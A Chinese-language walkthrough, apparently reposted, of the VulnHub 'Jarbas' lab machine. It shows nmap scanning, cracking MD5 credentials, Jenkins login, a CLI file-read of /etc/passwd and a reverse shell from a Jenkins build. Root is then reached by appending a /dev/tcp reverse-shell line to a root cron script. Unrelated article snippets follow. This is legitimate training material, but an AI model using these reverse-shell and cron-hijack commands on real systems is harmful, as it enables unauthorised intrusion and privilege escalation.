[vulnhub] Jarbas-Jenkins

靶机链接

https://www.vulnhub.com/entry/jarbas-1,232/

主机发现端口扫描

  • 扫描网段存活主机,因为主机是我最后添加的,所以靶机地址是135

    nmap -sP 192.168.75.0/24   
    //
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:03 CST
    Nmap scan report for 192.168.75.1
    Host is up (0.00032s latency).
    MAC Address: 00:50:56:C0:00:08 (VMware)
    Nmap scan report for 192.168.75.2
    Host is up (0.00036s latency).
    MAC Address: 00:50:56:FB:CA:45 (VMware)
    Nmap scan report for 192.168.75.135
    Host is up (0.00032s latency).
    MAC Address: 00:0C:29:08:91:76 (VMware)
    Nmap scan report for 192.168.75.254
    Host is up (0.00021s latency).
    MAC Address: 00:50:56:F8:B3:1A (VMware)
    Nmap scan report for 192.168.75.131
    Host is up.
    
  • 扫描主机开放端口,开放端口:22,80,3306,8080

    nmap -sT -min-rate 10000 -p- 192.168.75.135
    //
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:05 CST
    Nmap scan report for 192.168.75.135
    Host is up (0.00074s latency).
    Not shown: 65531 closed tcp ports (conn-refused)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    3306/tcp open  mysql
    8080/tcp open  http-proxy
    MAC Address: 00:0C:29:08:91:76 (VMware)
    
  • 扫描服务版本及系统版本

    nmap -sT -sV -O -p22,80,3306,8080 192.168.75.135
    //
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:07 CST
    Nmap scan report for 192.168.75.135
    Host is up (0.00076s latency).PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
    80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
    3306/tcp open  mysql   MariaDB (unauthorized)
    8080/tcp open  http    Jetty 9.4.z-SNAPSHOT
    MAC Address: 00:0C:29:08:91:76 (VMware)
    Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
    Device type: general purpose
    Running: Linux 3.X|4.X
    OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
    OS details: Linux 3.2 - 4.9
    Network Distance: 1 hop
    
  • 扫描漏洞,没什么值得注意的漏洞,不过发现了两个文件夹/icons//robots.txt

    map -script=vuln -p22,80,3306,8080 192.168.75.135
    //
    Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-21 14:08 CST
    Nmap scan report for 192.168.75.135
    Host is up (0.00032s latency).PORT     STATE SERVICE
    22/tcp   open  ssh
    80/tcp   open  http
    |_http-dombased-xss: Couldn't find any DOM based XSS.
    |_http-csrf: Couldn't find any CSRF vulnerabilities.
    |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
    |_http-trace: TRACE is enabled
    | http-enum: 
    |_  /icons/: Potentially interesting folder w/ directory listing
    3306/tcp open  mysql
    8080/tcp open  http-proxy
    | http-enum: 
    |_  /robots.txt: Robots file
    MAC Address: 00:0C:29:08:91:76 (VMware)

    渗透优先级 :80,8080330622

WEB渗透

80端口

  • 扫描目录 192.168.75.135:80

    python .\dirsearch.py -u http://192.168.75.135/
    //
    [14:12:53] 200 -  359B  - /access.html
    [14:12:58] 403 -  210B  - /cgi-bin/
    
  • 发现/access.html ,访问发现是有用的信息

    Creds encrypted in a safe way!
    <image>
    tiago:5978a63b4654c73c60fa24f836386d87
    trindade:f463f63616cb3f1e81ce46b39f882fd5
    eder:9b38e2b1e8b12f426b0d208a7ab6cb98
    

    乍一看很像MD5,破解后得到以下内容,大概是一些账号密码,在哪里使用暂时还不知道

    tiago:italia99
    trindade:marianna
    eder:vipsu
    
  • 再查看前面nmap扫描出来的icons 目录,发现没什么有用的信息

8080端口

  • 访问8080端口,发现是登陆页面,并且是Jenkins CMS

    在这里插入图片描述

  • 先访问nmap扫描出来的robots.txt ,获得以下内容

    # we don't want robots to click "build" links
    User-agent: *
    Disallow: /
    

    感觉也没啥利用的

  • 回到登陆页面,尝试使用之前获得的用户信息登录

    发现 eder:vipsu 可以登录进去

  • 进入后台,仔细挖掘一些有用的设置

    Jenkins CLI , 脚本命令行 , 系统信息 等都是我们感兴趣的

    在这里插入图片描述

    进入关于jenkins ,发现版本是 2.113

漏洞利用

  • 查阅信息,发现存在任意文件读取 **CVE-2024-23897,**我们尝试利用

    https://blog.csdn.net/qq_34594929/article/details/136446671

  • 进入Jenkins CLI ,下载 Jenkins-cli.jar

  • 然后到 管理Jenkins全局安全设置勾选匿名用户具有可读权限

  • 打开kali命令行输入,获得/etc/passwd

    java -jar jenkins-cli.jar -s http://192.168.75.135:8080 connect-node '@/etc/passwd'
    //
    icked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin: No such agent "ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin" exists.
    systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin: No such agent "systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin" exists.
    daemon:x:2:2:daemon:/sbin:/sbin/nologin: No such agent "daemon:x:2:2:daemon:/sbin:/sbin/nologin" exists.
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin: No such agent "lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin" exists.
    root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
    jenkins:x:997:995:Jenkins Automation Server:/var/lib/jenkins:/bin/false: No such agent "jenkins:x:997:995:Jenkins Automation Server:/var/lib/jenkins:/bin/false" exists.
    adm:x:3:4:adm:/var/adm:/sbin/nologin: No such agent "adm:x:3:4:adm:/var/adm:/sbin/nologin" exists.
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown: No such agent "shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown" exists.
    sync:x:5:0:sync:/sbin:/bin/sync: No such agent "sync:x:5:0:sync:/sbin:/bin/sync" exists.
    mail:x:8:12:mail:/var/spool/mail:/sbin/nologin: No such agent "mail:x:8:12:mail:/var/spool/mail:/sbin/nologin" exists.
    dbus:x:81:81:System message bus:/:/sbin/nologin: No such agent "dbus:x:81:81:System message bus:/:/sbin/nologin" exists.
    postfix:x:89:89::/var/spool/postfix:/sbin/nologin: No such agent "postfix:x:89:89::/var/spool/postfix:/sbin/nologin" exists.
    operator:x:11:0:operator:/root:/sbin/nologin: No such agent "operator:x:11:0:operator:/root:/sbin/nologin" exists.
    eder:x:1000:1000:Eder Luiz:/home/eder:/bin/bash: No such agent "eder:x:1000:1000:Eder Luiz:/home/eder:/bin/bash" exists.
    apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin: No such agent "apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin" exists.
    mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin: No such agent "mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin" exists.
    polkitd:x:999:997:User for polkitd:/:/sbin/nologin: No such agent "polkitd:x:999:997:User for polkitd:/:/sbin/nologin" exists.
    sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin: No such agent "sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin" exists.
    halt:x:7:0:halt:/sbin:/sbin/halt: No such agent "halt:x:7:0:halt:/sbin:/sbin/halt" exists.
    nobody:x:99:99:Nobody:/:/sbin/nologin: No such agent "nobody:x:99:99:Nobody:/:/sbin/nologin" exists.
    games:x:12:100:games:/usr/games:/sbin/nologin: No such agent "games:x:12:100:games:/usr/games:/sbin/nologin" exists.
    chrony:x:998:996::/var/lib/chrony:/sbin/nologin: No such agent "chrony:x:998:996::/var/lib/chrony:/sbin/nologin" exists.
    bin:x:1:1:bin:/bin:/sbin/nologin: No such agent "bin:x:1:1:bin:/bin:/sbin/nologin" exists.ERROR: Error occurred while performing this command, see previous stderr output.
    

    但是读取不了/etc/shadow ,不过我们发现/etc/passwd里面存在eder 用户,和我们进入后台的用户名一样,我们尝试一下使用ssh登录,登陆失败,换条路子走

利用Jenkins后台反弹shell

  • 发现 新建任务里面的构建一个自由风格的软件项目里面可以执行shell代码

    在这里插入图片描述

  • 输入反弹shell代码保存

    在这里插入图片描述

  • kali开启监听

    nc -lvp 1234
    //            
    listening on [any] 1234 ...
    
  • 在Jenkins里面点击构建,就会执行刚刚输入的代码

  • 成功获得shell

    nc -lvp 1234
    listening on [any] 1234 ...
    192.168.75.135: inverse host lookup failed: Unknown host
    connect to [192.168.75.131] from (UNKNOWN) [192.168.75.135] 54884python -c "import pty;pty.spawn('/bin/bash')" // 获得交互shell
    bash-4.2$ ls
    ls
    bash-4.2$ 

提权

  • 查看通过Jenkins后台获得的shell权限

    bash-4.2$ whoami
    jenkins
    //
    bash-4.2$ sudo -l
    We trust you have received the usual lecture from the local System
    Administrator. It usually boils down to these three things:#1) Respect the privacy of others.#2) Think before you type.#3) With great power comes great responsibility.[sudo] password for jenkins: ^C //要密码
    //                                                                                           
    bash-4.2$ uname -a
    Linux jarbas 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    //
    bash-4.2$ ls -l
    total 0
    //
    bash-4.2$ dpkg -l
    bash: dpkg: command not found
    

    权限不高不低

  • 尝试查看crontab是否有root运行的自动化任务

    bash-4.2$ cat /etc/crontab
    cat /etc/crontab
    SHELL=/bin/bash
    PATH=/sbin:/bin:/usr/sbin:/usr/bin
    MAILTO=root
    # For details see man 4 crontabs# Example of job definition:
    # .---------------- minute (0 - 59)
    # |  .------------- hour (0 - 23)
    # |  |  .---------- day of month (1 - 31)
    # |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
    # |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
    # |  |  |  |  |
    # *  *  *  *  * user-name  command to be executed
    */5 * * * * root /etc/script/CleaningScript.sh >/dev/null 2>&1
    

    文件内容是:

    bash-4.2$ cat /etc/script/CleaningScript.sh
    #!/bin/bashrm -rf /var/log/httpd/access_log.txt
    

    存在一条每隔五分钟 使用root权限清理某些东西的自动化任务

  • 我们可以尝试追加反弹shell在该脚本尾部,让它使用root权限来执行反弹shell代码

    提权成功,获得root权限,并且读取flag内容

    bash-4.2$ echo "/bin/bash >& /dev/tcp/192.168.75.131/1235 0>&1" >> /etc/script/CleaningScript.sh
    //
    <& /dev/tcp/192.168.75.131/1235 0>&1" >> /etc/script/CleaningScript.sh       
    
    nc -lvp 1235                                                        
    listening on [any] 1235 ...
    //
    192.168.75.135: inverse host lookup failed: Unknown host
    connect to [192.168.75.131] from (UNKNOWN) [192.168.75.135] 58338
    python -c "import pty;pty.spawn('/bin/bash')"
    [root@jarbas ~]# whoami
    whoami
    root
    [root@jarbas ~]# uname -a
    uname -a
    Linux jarbas 3.10.0-693.21.1.el7.x86_64 #1 SMP Wed Mar 7 19:03:37 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    [root@jarbas ~]# dpkg -l
    dpkg -l
    bash: dpkg: command not found
    [root@jarbas ~]# cat flag.txt //读取flag
    cat flag.txt
    Hey!Congratulations! You got it! I always knew you could do it!
    This challenge was very easy, huh? =)Thanks for appreciating this machine.@tiagotvrs 
    [root@jarbas ~]# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/880433.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】Linux基本命令

目录 文件和目录操作&#xff1a; ls cd pwd cp mv rm mkdir rmdir touch clear history which/whereis 文件查看和编辑&#xff1a; cat less head tail vi 或 vim sz/rz echo 系统信息和管理&#xff1a; su uname hostname df free top ps ki…

2025台球展,2025河南台球及配套设施展览会3月举办

阳春三月&#xff0c;年度招商季&#xff0c;壹肆柒中国国际台球产业博览会助力全国台球企业拓市场&#xff1b; 2025中国&#xff08;郑州&#xff09;国际台球产业博览会&#xff08;壹肆柒台球展&#xff09; The 2025 China (Zhengzhou) International Billiards Industry…

C++:采用模板封装顺序表,栈,队列

1.顺序表&#xff1a; list.hpp #ifndef LIST_HPP #define LIST_HPP #include <iostream>using namespace std;template <class L>class Seqlist { private:L *ptr;L size;L len0;public:void init(L n){//堆区申请空间&#xff08;大小为n&#xff09;this->…

博主回归!数据结构篇启动

目录 1>>闲话 2>>数据结构前言 3>>复杂度的概念 4>>时间复杂度 5>>大O渐进表示法 6>>总结 1>>闲话 家人们好久不见&#xff0c;小编军训终于是结束了&#xff0c;大一事情太多了&#xff0c;这几天没时间健身&#xff0c;没时间…

2024.9.26 作业 +思维导图

一、作业 1、什么是虚函数&#xff1f;什么是纯虚函数 虚函数&#xff1a;函数前加关键字virtual&#xff0c;就定义为虚函数&#xff0c;虚函数能够被子类中相同函数名的函数重写 纯虚函数&#xff1a;把虚函数的函数体去掉然后加0&#xff1b;就能定义出一个纯虚函数。 2、基…

el-table+el-form实现表单校验和解决不垂直居中导致的问题

el-tableel-form实现表单校验 1.实现el-table的表单校验 关键点123 2.解决不垂直居中导致的问题 问题效果图 解决方案 .item-align-center {display: inline-flex; }

数据定义语言CREATE的应用

新书速览|SQL Server 2022从入门到精通&#xff1a;视频教学超值版_sql server 2022 出版社-CSDN博客 《SQL Server 2022从入门到精通&#xff08;视频教学超值版&#xff09;&#xff08;数据库技术丛书&#xff09;》(王英英)【摘要 书评 试读】- 京东图书 (jd.com) SQL Se…

IGZO基底无电容DRAM单元前景看好

1.DRAM技术简介 DRAM&#xff08;Dynamic Random Access Memory&#xff0c;动态随机存取存储器&#xff09;是一种用于计算机和其他电子设备中的主存储器类型&#xff0c;其主要由存储单元阵列构成&#xff0c;而每一个存储单元由一个电容器和一个晶体管组成&#xff0c;如图…

EasyAR自定义相机RTSP视频流(CustomCamera)

EasyAR可以使用视频源作为输入源&#xff0c;官方给出了示例和文档&#xff0c;但是对于大部分Unity开发人员来说看了文档还是一头雾水。 在Android Studio中将custom-camera.jar添加libs中&#xff0c;就可以查看源代码了 分析其源代码&#xff0c;主要是ExternalCameraSampl…

AI数字人直播爆火,数字人虚拟主播成品牌闲时直播最佳选择!

近年来&#xff0c;随着互联网的普及和发展&#xff0c;电商和直播平台在我国迅速崛起。根据中国网络信息中心的数据显示&#xff0c;我国直播用户7.5亿&#xff0c;使用率已经超过70%&#xff0c;直播已经成为企业重要的营销和销售通道。 一、在经历了几年的爆发式增长后&…

日期类的实现- 计算日期之间相差多少天-解决单参数构造

个人主页&#xff1a;Jason_from_China-CSDN博客 所属栏目&#xff1a;C系统性学习_Jason_from_China的博客-CSDN博客 所属栏目&#xff1a;C知识点的补充_Jason_from_China的博客-CSDN博客 这里有坑&#xff0c;这里有坑&#xff0c;这里有坑 首选我们直接上代码&#xff0c;因…

Unity场景内画车道线(根据五阶曲线系数)

之前做过使用Dreamteck Splines插件构建车道线之前需求是给定车道线的点位&#xff0c;根据点位来进行构建。 由于AI识别出来的点位不线性&#xff0c;画出来的车道线经常是歪七扭八&#xff0c;所以使用五阶曲线系数进行构建。 使用在线图形计算器进行测试构建&#xff0c;公式…

【C++】STL标准模板库容器set

&#x1f984;个人主页:修修修也 &#x1f38f;所属专栏:C ⚙️操作环境:Visual Studio 2022 目录 &#x1f4cc;关联式容器set(集合)简介 &#x1f4cc;set(集合)的使用 &#x1f38f;set(集合)的模板参数列表 &#x1f38f;set(集合)的构造函数 &#x1f38f;set(集合)的迭代…

Vue 项目实战4-无缝轮播图

养成好习惯&#xff0c;先赞后看&#xff0c;感谢对作者大大的支持 一、话不多说&#xff0c;直接上效果图&#xff1a; 完整视频展示链接如下&#xff1a; https://item.taobao.com/item.htm?ftt&id833405684191 二、实现思路 HTML结构 文档头部设置&#xff1a;定义…

C# 委托(Delegate)二

一.委托的多播&#xff08;Multicasting of a Delegate&#xff09;&#xff1a; 委托对象&#xff0c;使用 "" 运算符进行合并&#xff0c;一个合并委托调用它所合并的两个委托。使用"-" 运算符从合并的委托中移除组件委托。 注&#xff1a;只有相同类型…

C语言编译和链接详解(通俗易懂,深入本质)

我们平时所说的程序,是指双击后就可以直接运行的程序,这样的程序被称为可执行程序(Executable Program)。在 Windows 下,可执行程序的后缀有.exe和.com(其中.exe比较常见);在类 UNIX 系统(Linux、Mac OS 等)下,可执行程序没有特定的后缀,系统根据文件的头部信息来判…

小小扑克牌算法

1.定义一个扑克牌类Card&#xff1a; package democard; public class Card {public String suit;//表示花色public int rank;//表示牌点数Overridepublic String toString() {return "{"suit rank"}";}//实例方法&#xff0c;初始化牌的点数和花色public…

Redis篇(初识Redis)

目录 一、数据库 二、NoSQL 三、认识Redis 三、关系数据库与非关系数据库对比 1. 结构化与非结构化 2. 关联和非关联 3. 查询方式 4. 事务 5. 存储方式 6. 扩展性 7. 总结 7.1. 图形梳理 7.2. 表格梳理 7.3. 优缺点 关系型数据库 非关系型数据库 四、再次认识R…

word中的表格全部设置宽度100%

1、背景 我们用工具将数据库或其他的数据导出成word时&#xff0c;表格有的会大于100%&#xff0c;超过了边界。word没有提供全局修改的方法。如果我们想改成100%。 一种方式是通过宏&#xff0c;全局改。一种是手动改。 2、宏修改 如果表格多&#xff0c;可以通过这种方式。…

【Qt】前后端交互---DataCenter类

设计目的 前后端交互系统中&#xff0c;创建并使用数据核心类的目的就是让该类作为客户端的数据中心&#xff0c;也就是说其负责管理客户端的所有数据与服务器的网络通信。 数据持久化 初始化数据文件 该函数设计的目的就是用于检查所需要的文件和目录是否存在&#xff0c;如…